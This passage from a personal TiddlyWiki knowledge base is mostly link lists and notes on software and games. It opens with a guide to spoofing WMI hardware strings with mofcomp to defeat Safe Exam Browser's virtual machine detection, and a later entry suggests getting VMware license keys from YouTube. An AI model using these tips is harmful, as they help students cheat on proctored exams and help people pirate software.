                                                                                  	string Manufacturer;
                                                                                  	string SerialNumber;
                                                                                  	string Name;
                                                                                  	uint16 BiosCharacteristics[];
                                                                                  	string Version;
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of Win32_BIOS
                                                                                  {
                                                                                  	SMBIOSBIOSVersion = "6.0";
                                                                                  	Manufacturer = "Phoenix Technologies LTD";
                                                                                  	SerialNumber = "a1 7b 88 e5 6c 44 73 8e-24 16 1d e6 69 59 83 a1";
                                                                                  	Name = "PhoenixBIOSS 5.0 Release 6.0";
                                                                                  	BiosCharacteristics = {1,2,3};
                                                                                  	Version = "INTEL - 6040001";
                                                                                  };
                                                                                  
                                                                                  /* PS C:> get-wmiobject -class Win32_ComputerSystem */
                                                                                  class Win32_ComputerSystem
                                                                                  {
                                                                                  	[key] string Name;
                                                                                  	string Domain;
                                                                                  	string Manufacturer;
                                                                                  	string Model;
                                                                                  	string OEMStringArray[];
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of Win32_ComputerSystem
                                                                                  {
                                                                                  	Name = "WIN10";
                                                                                  	Domain = "WORKGROUP";
                                                                                  	Manufacturer = "Acer";
                                                                                  	Model = "Acer Computer";
                                                                                  	OEMStringArray = {"Acer Computer"};
                                                                                  };
                                                                                  
                                                                                  class Win32_DiskDrive
                                                                                  {
                                                                                  	uint16 Availability;
                                                                                  	uint32 BytesPerSector;
                                                                                  	uint16 Capabilities[];
                                                                                  	string CapabilityDescriptions[];
                                                                                  	string Caption;
                                                                                  	string CompressionMethod;
                                                                                  	uint32 ConfigManagerErrorCode;
                                                                                  	boolean ConfigManagerUserConfig;
                                                                                  	string CreationClassName;
                                                                                  	uint64 DefaultBlockSize;
                                                                                  	string Description;
                                                                                  	string DeviceID;
                                                                                  	boolean ErrorCleared;
                                                                                  	string ErrorDescription;
                                                                                  	string ErrorMethodology;
                                                                                  	string FirmwareRevision;
                                                                                  	uint32 Index;
                                                                                  	datetime InstallDate;
                                                                                  	string InterfaceType;
                                                                                  	uint32 LastErrorCode;
                                                                                  	string Manufacturer;
                                                                                  	uint64 MaxBlockSize;
                                                                                  	uint64 MaxMediaSize;
                                                                                  	boolean MediaLoaded;
                                                                                  	string MediaType;
                                                                                  	uint64 MinBlockSize;
                                                                                  	string Model;
                                                                                  	string Name;
                                                                                  	boolean NeedsCleaning;
                                                                                  	uint32 NumberOfMediaSupported;
                                                                                  	uint32 Partitions;
                                                                                  	[key] string PNPDeviceID;
                                                                                  	uint16 PowerManagementCapabilities[];
                                                                                  	boolean PowerManagementSupported;
                                                                                  	uint32 SCSIBus;
                                                                                  	uint16 SCSILogicalUnit;
                                                                                  	uint16 SCSIPort;
                                                                                  	uint16 SCSITargetId;
                                                                                  	uint32 SectorsPerTrack;
                                                                                  	string SerialNumber;
                                                                                  	uint32 Signature;
                                                                                  	uint64 Size;
                                                                                  	string Status;
                                                                                  	uint16 StatusInfo;
                                                                                  	string SystemCreationClassName;
                                                                                  	string SystemName;
                                                                                  	uint64 TotalCylinders;
                                                                                  	uint32 TotalHeads;
                                                                                  	uint64 TotalSectors;
                                                                                  	uint64 TotalTracks;
                                                                                  	uint32 TracksPerCylinder;
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of Win32_DiskDrive
                                                                                  {
                                                                                  	SerialNumber = "Crucial SSD";
                                                                                  	PNPDeviceID = "SCSI\\DISK&VEN_NVME&PROD_CRUCIAL_N\\5&25A13950&0&000000";
                                                                                  };
                                                                                  
                                                                                  class Win32_PnPEntity : CIM_LogicalDevice
                                                                                  {
                                                                                  	[Read : ToSubclass,Key : ToInstance ToSubclass DisableOverride,Override("DeviceId") : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string DeviceID;
                                                                                  	[read : ToSubclass] string HardwareID[];
                                                                                  	[read : ToSubclass] string CompatibleID[];
                                                                                  	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string Manufacturer;
                                                                                  	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string Service;
                                                                                  	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string PNPClass;
                                                                                  	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] string ClassGuid;
                                                                                  	[read : ToSubclass,MappingStrings{"WMI"} : ToSubclass] boolean Present;
                                                                                  	[Implemented] Uint32 Enable([OUT] boolean rebootNeeded);
                                                                                  	[Implemented] Uint32 Disable([OUT] boolean rebootNeeded);
                                                                                  	[Implemented] Uint32 GetDeviceProperties([IN,optional] string devicePropertyKeys[],[OUT] Win32_PnPDeviceProperty deviceProperties[]);
                                                                                  };
                                                                                  
                                                                                  [DYNPROPS]
                                                                                  instance of Win32_PnPEntity
                                                                                  {
                                                                                  	DeviceID = "Crucial";
                                                                                  };

                                                                                  Note/Credits: I mostly created these two files by learning from these sources, and then copypasting the examples/defaults values:

                                                                                  Tip: In the files, when apparently random product/vendor names are mentioned (in this case Acer, Crucial, Phoenix, ...), they don't actually matter. Whatever matters is that, by doing this, any string containing "VMWare" is overwritten with something else, tricking VM detection. You can set whatever you want except VM programs/vendor. The proprietary names included here are for demonstration purposes only and are not strictly needed for this method, all trademark rights belong to the respective owners and not me.

                                                                                  Finally, in an administrator CMD/PowerShell, use mofcomp.exe to apply these files:

                                                                                  mofcomp .\WMI.mof
                                                                                  mofcomp .\CIMv2.mof

                                                                                  Note: This procedure, as far as I understand, essentially corrupts Windows' WMI database. Internal Windows features should still work, and many applications (including SEB, of course) will still work, but some special software that needs to interface with WMI for useful operations might no longer work. Avoid ever using this procedure on a real machine for whatever purpose, only in a VM.

                                                                                  Hardening the computer

                                                                                  While not necessary to get SEB working, it's a good idea to harden the entire computer in case an examinator wants to do a manual inspection. See Harden VM from Human Inspection.

                                                                                  VMWare Tools?

                                                                                  Installing VMWare tools before applying these patches should not hinder VM detection bypass, seeing SEB's VM detection code. However, I couldn't verify this, as the VMWare Tools installer executable simply doesn't want to start in my VM. I suspect the program fails to start exactly because of the patches, because I only tried to install the Tools after applying everything else. You could be more lucky.

                                                                                  No abuse

                                                                                  Be careful of only using this information if you actually need to run SEB on Linux or have other issues. Do not abuse the guide to create a VM for doing the exam and then getting out of it mid-session to use the host system normally and cheat. The procedure is not intended for cheating and if we start using it to do that, examiners will push for the holes that allow VM detection bypass to be patched. If we only use it for valid reasons of OS compatibility, likely no one will protest and we will not be forced to use an OS we don't like as host on our computers. If you have to cheat at the written exam then you will fail the oral exam anyways, so study and don't use this method for cheating.

                                                                                  sed/
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                                                                                    sed/Snippets

                                                                                    Octt 6th February 2023 at 11:15am

                                                                                    Replace for all files in all subdirectories

                                                                                    find ./ -type f -exec sed -i "s/Old/New/g" {} \;
                                                                                    Octt 23rd August 2023 at 11:08pm

                                                                                    Wikipedia

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                                                                                    Octt 18th February 2023 at 9:52pm

                                                                                    setxkbmap is a CLI tool for setting many global keyboard options under Xorg.

                                                                                    Show current settings
                                                                                    setxkbmap -query
                                                                                    Setting a compose key
                                                                                    Needed to type lefty accents (รจ) or more special symbols when using US layout or similar
                                                                                    setxkbmap -option "compose:{ralt|rwin|...}"
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                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Shared hosting

                                                                                    Octt 21st December 2023 at 7:41pm
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                                                                                    Simple bookmark manager built with Go - [Git]

                                                                                    Features

                                                                                    • Automatic generation of "simplified view" pages
                                                                                    • Optional archiving of original pages
                                                                                    • Has an official browser extension (not working?)

                                                                                    Lack thereof

                                                                                    • Lacks Atom/RSS feed support, so I made ShioriFeed, a simple service for getting a feed from your Shiori profile - [Code]
                                                                                    • Doesn't have explicit read/unread categorization, tags should instead be used for that
                                                                                    Octt 19th January 2024 at 12:36am

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Simple DirectMedia Layer

                                                                                    Octt 6th February 2023 at 11:15am

                                                                                    A group of simple, open source Android apps without ads and unnecessary permissions, with customizable colors.

                                                                                    Octt 19th February 2023 at 3:58pm
                                                                                    Octt 23rd August 2023 at 9:59am

                                                                                    Language derived from XML (and partially SVG) to create animated and interactive multimedia experiences without JavaScript, older and less clunky than using CSS3 to do the same things.

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Synchronized Multimedia Integration Language

                                                                                    Octt 23rd December 2023 at 12:32pm

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Social network

                                                                                    Octt 13th February 2023 at 5:28pm

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                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Software

                                                                                    Octt 22nd August 2023 at 11:47pm
                                                                                    • pyjod โ€” Implementazione open-source del protocollo di Strong Customer Authentication di Poste Italiane, (https://posteid.poste.it), lato client
                                                                                    Octt 25th February 2023 at 11:32am

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Sokoban

                                                                                    Gamin' Time

                                                                                    Embed of https://sokobanz.vercel.app

                                                                                    Implementations

                                                                                    • ๐Ÿงฉ Sokoban game and automated puzzle solver (healeycodes): Web | Git
                                                                                    • ๐Ÿ‡ SokoBun: Web | Git
                                                                                    Octt 5th March 2023 at 10:53pm
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                                                                                    WikiSpacc

                                                                                    Embed of https://wikispacc.miraheze.org/wiki/Spacc

                                                                                    Octt 5th November 2023 at 10:45am

                                                                                    The Spacc BBS Forum board runs on phpBB with custom, both in-house and third-party extensions. Clearweb domain is bbs.spacc.eu.org, Tor domain is bbs.spaccsoj3trhzowrrblzb5m6hgkwu6syghnmhett7gvxbrz5zhsrs4ad.onion.

                                                                                    Octt 13th May 2023 at 9:39pm

                                                                                    WikiSpacc

                                                                                    Embed of https://wikispacc.miraheze.org/wiki/Spacc Inc

                                                                                    Octt 5th November 2023 at 10:56am

                                                                                    The SpaccCraft Minecraft server is available for gaming at mc.spacc.eu.org. The website is spacccraft.altervista.org.

                                                                                    Embed of https://wikispacc.miraheze.org/wiki/SpaccCraft

                                                                                    Octt 23rd December 2023 at 9:27pm

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Speedrun

                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Tool-assisted speedrun

                                                                                    • TASVideos โ€” Tool-assisted game movies, When human skills are just not enough
                                                                                      • TAS Emulators โ€” Rerecording emulators and tools used for making Tool Assisted Speedruns
                                                                                    Octt 5th February 2023 at 2:30pm
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                                                                                    An encrypted open-source notes app with a very clean UX.

                                                                                    Listed

                                                                                    Listed is a blogging platform developed by the Standard Notes team, that strongly integrates into the app.

                                                                                    Other

                                                                                    Using Standard Notes as a Personal Knowledge Base - [OcttArchive]
                                                                                    Need of coping with lack of text-search scoped to only the current note.
                                                                                    Browser's integrated search is a decent solution.
                                                                                    No actual hyperlinks will force you to manually craft a compact GUID system.
                                                                                    GUIDs can't be changed later, so using dates + single letters for types is a needed thing.
                                                                                    Separating drafts from normal notes, WIP, etc... is optimal too.
                                                                                    Why Encrypted - Standard Notes - [OcttArchive]
                                                                                    Today's popular tech is far from private by default.
                                                                                    The lack of actual privacy often makes us self-censor, making us lose ourselves in our writing.
                                                                                    When you get privacy, and finally write like it's nobody's business, you will have peace of mind.
                                                                                    Octt 5th March 2023 at 7:58pm
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                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Static site generator

                                                                                    • Docusaurus โ€” Easy to maintain open source documentation websites. โ€” [Git] (website contains a Showcase section with many sites)
                                                                                    • mdBook โ€” command line tool to create books with Markdown. It is ideal for creating product or API documentation, tutorials, course materials or anything that requires a clean, easily navigable and customizable presentation. โ€” [Git]
                                                                                    • Retype โ€” ultra-high-performance โœจ static website generator that builds a website based on simple Markdown text files โ€” [Git] โ€” seems catered towards docs/notes sites
                                                                                    • Hugo โ€” The worldโ€™s fastest framework for building websites โ€” [Git]
                                                                                    • Hexo โ€” A fast, simple & powerful blog framework
                                                                                      • NexT is a high quality elegant theme for Hexo. It is crafted from scratch, with love. โ€” [Git]
                                                                                    • Jekyll (+ docs) โ€” ๐ŸŒ Jekyll is a blog-aware static site generator in Ruby โ€” [Git]
                                                                                    • Pelican
                                                                                      • Eevee โ€” A Material Design theme for Pelican
                                                                                    • Zola
                                                                                      • Terminimal โ€” simple, minimal retro theme for Zola โ€” [Git]
                                                                                    Octt 29th January 2024 at 12:02am
                                                                                    • https://venkivasamsetti.github.io/ebookworm.github.io/csehome.html โ€” this strange half-constructed half-recycled website hides copies of some CS books in PDF among generic pages, among with unrelated things like HTML5 games?
                                                                                    • StudyPlan.dev โ€” strange C++ tutorials website with random, out-of-context (probably AI-generated?) cover pictures of random characters concept artworks...
                                                                                    • ^^^^^~ โ–‘ uiโ–€โ”ณโ•ฒ โ˜บ .info โ€” just a mess collage of images, and the content changes at every site visit
                                                                                    • Smokepowered - ็…™้œงๅ‹•ๅŠ›.com โ€” strange site with weed background and video of Valve characters smoking
                                                                                      • Epic Blazed โ€” same thing above, but for Epic Games, Unreal Engine, Fortnite
                                                                                    • ICCIVITELLA, it.knowledgr.com ... โ€” SEO spamming websites with fake content... which sometimes seem to have more actual content than real sites?
                                                                                    • www.chimica-online.it, www.scuola-e-cultura.it, ... โ€” sites that seem like SEO spamming but they seem to be administered by actual writers? they're kinda the most confusing
                                                                                    • AssemblyLT (Assembly Language Tuts), ... โ€” websites that seem to be constructed upon stolen domains, bought after expiration for no real good reason other than filling them with useless SEO-spam content; sometimes they seem to keep a part of the old content (or, more likely, made to look like the previous) present, but the most recent posts are always spam
                                                                                    • Questions LLC โ€” Use AI to answer your questions. Our AI bots will answer your questions in seconds. โ€” it's a Q/A website where supposedly bots answer the questions, and it's full of spam and useless shit, what's the point of it even? I found it coming from the footer of these oddly-specific websites, which only makes everything stranger:
                                                                                      • allowfullscreen โ€” an HTML attribute for the iframe tag โ€” a website with some basic information about the attribute, but with some strange details, and some actually decent examples
                                                                                      • querySelectorAll() โ€” a website dedicated to the best JavaScript function in the world! โ€” some generic ass information about that JS function, with a home page full of cringey AI-generated SEO bullshit telling of the subject as if they were trying to sell the thing to a child... also includes information on partially unrelated things that maybe could have something to do with querySelectorAll but really not
                                                                                    • Toire no Hanako-san (folclore)
                                                                                    • PassSource โ€” apparently something to create demo/dummy Apple Wallet passes? I have no use for it but they are very colorful
                                                                                    • Library of Babel โ€” contains every kind of data that exists, will exist, and will not exist, all generated through randomness but it contains anything.
                                                                                    • https://www.playemulator.io/ โ€” very strange-feeling site with online ROMs emulators, due to all the SEO crap, and possibly wrong thumbnails applied to misleadingly titled games
                                                                                    • Pra' - Le Lavatrici โ€” un quartiere che sembra una mezza piramide fatta di lavatrici giganti
                                                                                    • The Living Moka โ€” letteralmente cosplay di una Moka lol
                                                                                    Octt 18th January 2024 at 11:32pm
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                                                                                    Wikipedia

                                                                                    Embed of https://en.m.wikipedia.org/wiki/Super_Mario_Bros.

                                                                                    Super Nintendo Entertainment System
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                                                                                      Super Nintendo Entertainment System

                                                                                      Octt 19th January 2024 at 12:43pm

                                                                                      Wikipedia

                                                                                      Embed of https://en.m.wikipedia.org/wiki/SNES

                                                                                      • SNES Central
                                                                                      • DiztinGUIsh ("Diz") โ€” A Super NES ROM Disassembler and tracelog capture/analysis tool with a focus on collaborative workflow UX. Exports .asm files ready to be compiled back into the original binary. Written in Winforms/C#.

                                                                                      Star Fox

                                                                                      Wikipedia

                                                                                      Embed of https://en.m.wikipedia.org/wiki/Star Fox

                                                                                      Octt 6th February 2023 at 8:39pm
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                                                                                      Wikipedia

                                                                                      Embed of https://en.m.wikipedia.org/wiki/SuperTuxKart

                                                                                      Octt 23rd August 2023 at 9:51am
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                                                                                      Syncthing setup for a refreshing file experience
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                                                                                        Syncthing setup for a refreshing file experience

                                                                                        Octt 1st October 2023 at 5:25pm

                                                                                        Syncthing is an incredibly useful piece of software in a simple and (moderately) lightweight package.

                                                                                        Keeping in mind that, due to its peer-to-peer nature, a Syncthing instance is both a client and a server โ€” an ideal setup for me is developed around the following hierarchy of instances:

                                                                                        1. On my home server
                                                                                          • A centralized place where everything (storage permitting) can reside together, and scripts can run on a schedule, for secondary syncing and backup operations (which go far beyond the scopes of Syncthing).
                                                                                        2. On my main smartphone
                                                                                          • The smartphone goes everywhere around the world, and as such is at more risk of breaking or losing, and with that also some of my private files (mainly camera media, screenshots, and game saves).
                                                                                        3. On other devices; for example, my main desktop PC, or my tablet.
                                                                                          • On those, immediate syncing is nice but not essential, as I often can use other methods comfortably enough (copy from USB, copy to server via SFTP, ...), and honestly I often do it only when doing maintenance .
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                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Sysadmin

                                                                                        Saved Sites

                                                                                        Saved sites that are mainly about miscellaneous system administration (mainly devlogs, project showcases, or tips+tricks, and online tools). (Some are in other Saved pages and should be moved here.)

                                                                                        Octt 21st December 2023 at 5:00pm

                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/System monitor

                                                                                        Htop

                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Htop

                                                                                        Octt 13th February 2024 at 11:59pm

                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Electronic art

                                                                                        Fractal

                                                                                        Wikipedia

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                                                                                        Some interesting tech art pieces follow.

                                                                                        Web

                                                                                        Js1k โ€” The JavaScript code golfing competition

                                                                                        256b.htm Competition

                                                                                        Octt 6th February 2023 at 11:15am
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                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Telegram_(software)

                                                                                        Misc

                                                                                        Telegraph

                                                                                        • telegra.ph (main domain, having problems on some italian ISPs since summer 2023, idk if it's solved)
                                                                                        • graph.org (alternative domain)
                                                                                        • Telegraph X: publishing tool โ€” Telegraph X is Android client for Telegra.ph minimalist publishing tool (made by Telegram team) that allows you to create and manage publications โ€” [Git]

                                                                                        A publishing platform, optionally usable anonymously, for publishing article-like pages that are optimized for view on Telegram. It's not really a blogging platform. See https://telegram.org/blog/telegraph. Note that there's no way to edit/delete anonymous posts after losing browser cookies, while posts created with Telegram logins can be well managed.

                                                                                        Telescope

                                                                                        A failed method through which Telegram tried pushing people to publish round videos in a social media fashion. The site publicly indexes round videos sent in public channels, see https://telegram.org/blog/video-messages-and-telescope. Pretty useless but it's technical base was reused to make the modern preview features for profiles and channels on t.me, as can be seen by the CDN domain still being named after Telescope.

                                                                                        Octt 27th May 2023 at 8:00am

                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Teletext

                                                                                        Teletext is basically a standard for transmitting and displaying pages of ANSI Art on the television.

                                                                                        Octt 5th February 2023 at 2:23pm
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                                                                                        Wikipedia

                                                                                        Embed of https://en.m.wikipedia.org/wiki/Templating language

                                                                                        Terminal/
                                                                                        multiplexer
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                                                                                          Terminal/multiplexer

                                                                                           

                                                                                          Wikipedia

                                                                                          Embed of https://en.m.wikipedia.org/wiki/Terminal multiplexer

                                                                                          GNU Screen

                                                                                          Wikipedia

                                                                                          Embed of https://en.m.wikipedia.org/wiki/GNU Screen

                                                                                          Octt 5th September 2023 at 9:00pm
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                                                                                          Wikipedia

                                                                                          Embed of https://en.m.wikipedia.org/wiki/Tetris

                                                                                          Gamin' Time

                                                                                          Embed of https://reactgular.github.io/tetromino

                                                                                          Octt 7th February 2023 at 10:17pm
                                                                                          Tetris/
                                                                                          effect
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                                                                                            Tetris/effect

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                                                                                            ...

                                                                                            Text styling via particular characters:

                                                                                            Unicode

                                                                                            Wikipedia

                                                                                            Embed of https://en.m.wikipedia.org/wiki/Unicode

                                                                                            Emoticons

                                                                                            Wikipedia

                                                                                            Embed of https://en.m.wikipedia.org/wiki/Emoticon

                                                                                            Kaomojis

                                                                                            Some personal favourites

                                                                                            (^_^)
                                                                                            (T_T)crying, sadness
                                                                                            (^.^)
                                                                                            (x_x)stressed, dead
                                                                                            (-_-;)nervousness, sweat drop
                                                                                            ยฏ\_(ใƒ„)_/ยฏshrugging, idk
                                                                                            (โ—•โ€ฟโ—•โœฟ)

                                                                                            Even more Kaomojis: kaomoji.ru

                                                                                            Emoji

                                                                                            Wikipedia

                                                                                            Embed of https://en.m.wikipedia.org/wiki/Emoji

                                                                                            Octt 21st December 2023 at 11:45pm

                                                                                            Wikipedia

                                                                                            Embed of https://en.m.wikipedia.org/wiki/Text editor

                                                                                            Code editor

                                                                                            Wikipedia

                                                                                            Embed of https://en.m.wikipedia.org/wiki/Code editor

                                                                                            • Geany โ€” The Flyweight IDE โ€” [Git]
                                                                                            • ICEcoder โ€” Code editor awesomeness ...in your browser โ€” [Git] โ€” seems it's not at all optimized for mobile, kind of a waste
                                                                                            • Notepad++ โ€” [Git]
                                                                                              • notepadqq โ€” simple, general-purpose editor for Linux, heavily inspired from Notepad++ (apparently not actively maintained anymore) โ€” [Git]
                                                                                            The importance of cover images on articles
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                                                                                              The importance of cover images on articles

                                                                                              Octt 8th October 2023 at 10:31pm

                                                                                              When writing a KB article or a blog post, choosing a cover image might seem like a skippable step, but in fact it often is an important one. A cover is a must-have on ideally any article, as it provides quite a few benefits:

                                                                                              • With some pagination templates, it gives the reading view a bit of color and graphicality, especially important for the reader (both ourselves and the visitors) when the article body doesn't contain any image.
                                                                                                • This is also valid (and maybe more so) for lists and grids of posts on the website, where it's nice to see each entry have a diverse picture.
                                                                                              • Grabbing the feeble attention of people who might see your post in their news or social media feed, or in a group chat.
                                                                                              • SEO advantages, as the article is more likely to be found for multiple search sources and inputs.

                                                                                              After seeing all the benefits listed above, I think it's easy to spot some natural requirements that the image must possess to be really good for the cause, which by themselves bring other benefits to the mix:

                                                                                              • Easy on the eyes, with low complexity, but colorful and eye-catching at the same time.
                                                                                              • Bringing some kind of attention to the article core, even before the reading starts.
                                                                                                • Ideally, conveying also the same core emotion or feeling the article revolves around.

                                                                                              All of this does feel like a chore when you actually come to do it practice โ€” and sometimes impossible โ€” I have to admit that, but there are a few ways to make the work less painful:

                                                                                              • Sometimes, editing and styling photos from the article body, or making some other dedicated to the cover in this same fashion, is more than good.
                                                                                              • Agile article covers, from stock photos to AI โ€” for when your own artistic ability or photographic opportunity just don't cut it.
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                                                                                              TiddlyWiki is the software upon which this website is built.

                                                                                              It is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.

                                                                                              Wikipedia

                                                                                              Embed of https://en.m.wikipedia.org/wiki/TiddlyWiki

                                                                                              What I like
                                                                                              All your content and app runtime can stay inside a single HTML file; it will probably work fine in browsers in the decades to come.
                                                                                              The base software runs both in the web browser (ES5 or higher?) and Node.js; the latter makes it possibile to export tiddlers to a file system programmatically, generate static sites, etc...
                                                                                              Feature-rich and powerful out of the box, with (up to a certain point) high extensibility.
                                                                                              Big community, meaning you can often get help with problems, and many third-party plugins are available.
                                                                                              The default configuration works fine on mobile devices, unlike what happens with some plugins.
                                                                                              What I don't like
                                                                                              The Widgets/Filters/Macros systems is based on proprietary paradigms; they are made to allow people without programming experience to do great things, but are cumbersome and hard to learn if you already have common programming experience.
                                                                                              JavaScript extensions are cumbersome, requiring a page reload to work after an edit
                                                                                              It's not easy, or sometimes it's not possibile, to extend TiddlyWiki with just pure JavaScript, and trying to do so always requires ugly hacks.
                                                                                              Widgets and Filters are essentially an interpreted language working on top of an interpreted language (JS); Since even the app core makes heavy use of them, it suffers from microlags even on modern devices, and can be's almost unusable on very old ones.
                                                                                              No built-in tiddler compression and decompression means the HTML file is big by default (~2.3 MB as of v5.2.3) and can get worse with many plugins, causing slow loading and saving.

                                                                                              Useful Resources

                                                                                              Notes about official plugins

                                                                                              Misc

                                                                                              [#] TiddlyWiki/ThirdParty

                                                                                              Other Wikis, Plugin Collections

                                                                                              Starter Kits, themed wikis for use

                                                                                              More personal TiddlyWikis

                                                                                              Individual Plugins

                                                                                              Individual Themes

                                                                                              Useful Documentation or Articles

                                                                                              [#] 

                                                                                              TiddlyWiki/Notes

                                                                                              Notes/Personal

                                                                                              TiddlyWiki/
                                                                                              Notes
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                                                                                                TiddlyWiki/Notes

                                                                                                Octt 29th January 2024 at 1:57pm
                                                                                                TiddlyWiki/
                                                                                                ThirdParty
                                                                                                  โ–ช๏ธ

                                                                                                  TiddlyWiki/ThirdParty

                                                                                                  Octt 4th February 2024 at 4:01pm

                                                                                                  Other Wikis, Plugin Collections

                                                                                                  Starter Kits, themed wikis for use

                                                                                                  More personal TiddlyWikis

                                                                                                  Individual Plugins

                                                                                                  Individual Themes

                                                                                                  TiddlyWiki/
                                                                                                  TipsAndTricks
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                                                                                                    TiddlyWiki/TipsAndTricks

                                                                                                    Octt 29th January 2024 at 12:55am
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                                                                                                    • mkp224o โ€” vanity address generator for ed25519 onion services
                                                                                                    Octt 16th February 2023 at 9:37pm
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                                                                                                    Trummerkind/
                                                                                                    Underground Installation
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                                                                                                      Trummerkind/Underground Installation

                                                                                                      Octt 5th March 2023 at 10:39pm
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                                                                                                      Wikipedia

                                                                                                      Embed of https://en.m.wikipedia.org/wiki/Tux_Racer

                                                                                                      Octt 6th February 2023 at 11:15am
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                                                                                                      Wikipedia

                                                                                                      Embed of https://en.m.wikipedia.org/wiki/Typography

                                                                                                      Fonts

                                                                                                      Wikipedia

                                                                                                      Embed of https://en.m.wikipedia.org/wiki/Font

                                                                                                      Interesting fonts, for specific uses or fun:

                                                                                                      • Blackboard bold
                                                                                                      • Small caps
                                                                                                      • Times New Bastard - It's Times New Roman but every seventh letter is jarringly sans-serif.
                                                                                                      • Honk โ€” Honk is a COLRv1, variable, modular, display typeface by Ek Type. It is a digital interpretation of the bold and vibrant lettering seen on Indian trucks.

                                                                                                      Good fonts, for multiple uses:

                                                                                                      • epto-fonts โ€” Free bitmap (8x8, 8x16, 8xY) fonts by EPTO
                                                                                                      • UW ttyp0 โ€” Monospace Bitmap Screen Fonts for X11

                                                                                                      Other fonts still:

                                                                                                      Octt 6th February 2023 at 7:27pm
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                                                                                                      February 2023
                                                                                                      Dear Mr. Sunak, will you block access to encryption, just like Russia & Iran? - Tutanota: We will not 'walk out' of UK like Signal. Nor will we comply with any request to bypass our encryption.
                                                                                                      Signal threatens to leave UK if garbage legislation gets passed to 'protect the children'.
                                                                                                      Octt 8th June 2023 at 2:13pm

                                                                                                      Wikipedia

                                                                                                      Embed of https://en.m.wikipedia.org/wiki/Unix

                                                                                                      How-to

                                                                                                      Octt 28th January 2024 at 11:45pm
                                                                                                      Unix/
                                                                                                      Shell
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                                                                                                        Unix/Shell

                                                                                                        Octt 19th November 2023 at 3:02pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Unix Shell

                                                                                                        Octt 30th January 2024 at 12:17pm

                                                                                                        Unsplash provides royalty-free and credit-free pictures, sorted by category and easily obtainable trough both a webapp and an HTTP GET API (even without authentication), under the "Unsplash license".

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Unsplash

                                                                                                        Many decorative images on this KB are hotliked from Unsplash; some randomly, some not.

                                                                                                        Unauthenticated API

                                                                                                        The base URL for all following endpoints is https://source.unsplash.com.

                                                                                                        (Adapted from Generate Random Images From Unsplash Without Using The API)

                                                                                                        The URL schema is the following:

                                                                                                        https://source.unsplash.com/{From}/[Size]/?[Keywords]
                                                                                                        {From}
                                                                                                        /random - Image from a random user
                                                                                                        /user/{Username} - Image from a specific user
                                                                                                        [Size]
                                                                                                        {Width}x{Height} - Image of specific size of width * height
                                                                                                        [Keywords] - Image with certain keyword[s]; Multiple can be specified by separation with:[citation needed]
                                                                                                        Word1[,...] - Comma: meaning AND
                                                                                                        Word1[-...] - Dash: meaning OR

                                                                                                        Random Picture from the Gallery

                                                                                                        Octt 27th January 2024 at 9:33pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/URL shortening

                                                                                                        • bit.ly โ€” Classic shortener, but got shitty in recent years and demands and account be made for creating more than 1 link (unless you clear browser site storage)
                                                                                                        • goo.gl โ€” Shortener which has been #KilledByGoogle
                                                                                                        • t.ly โ€” Apparently the World's Shortest Link Shortener
                                                                                                        • tinyurl.com โ€” A shortener that I think is standing the test of time, but recently the retro site was replaced with a full-blown webapp
                                                                                                        Octt 5th November 2023 at 12:17am

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/USB

                                                                                                        Octt 28th January 2024 at 10:53pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Userscript

                                                                                                        Octt 19th December 2023 at 12:07am

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/UUID

                                                                                                        Octt 17th February 2023 at 8:16am

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Vaporwave

                                                                                                        Octt 19th December 2023 at 12:24am
                                                                                                        Octt 5th June 2023 at 9:33pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Virtual Machine

                                                                                                        Virtualization Software
                                                                                                        QEMU - Usually accelerated with KVM
                                                                                                        Oracle VirtualBox
                                                                                                        VMWare - If you need a Workstation Pro license key for free, just look on YouTube (don't trust keygens or hacked EXEs, there are videos that just show you the key on the screen)
                                                                                                        Cloud Virtualization
                                                                                                        ANY.RUN - Interactive malware Hunting service - Windows, with many process analysis features
                                                                                                        ApkOnline, Redfinger Cloud Phone - Android
                                                                                                        Appetize - Android and iOS
                                                                                                        AppOnFly - Windows apps
                                                                                                        OnWorks - Destkop Windows and Linux
                                                                                                        Octt 6th November 2023 at 11:11pm

                                                                                                        Wikipedia

                                                                                                        Embed of https://en.m.wikipedia.org/wiki/Virtual reality

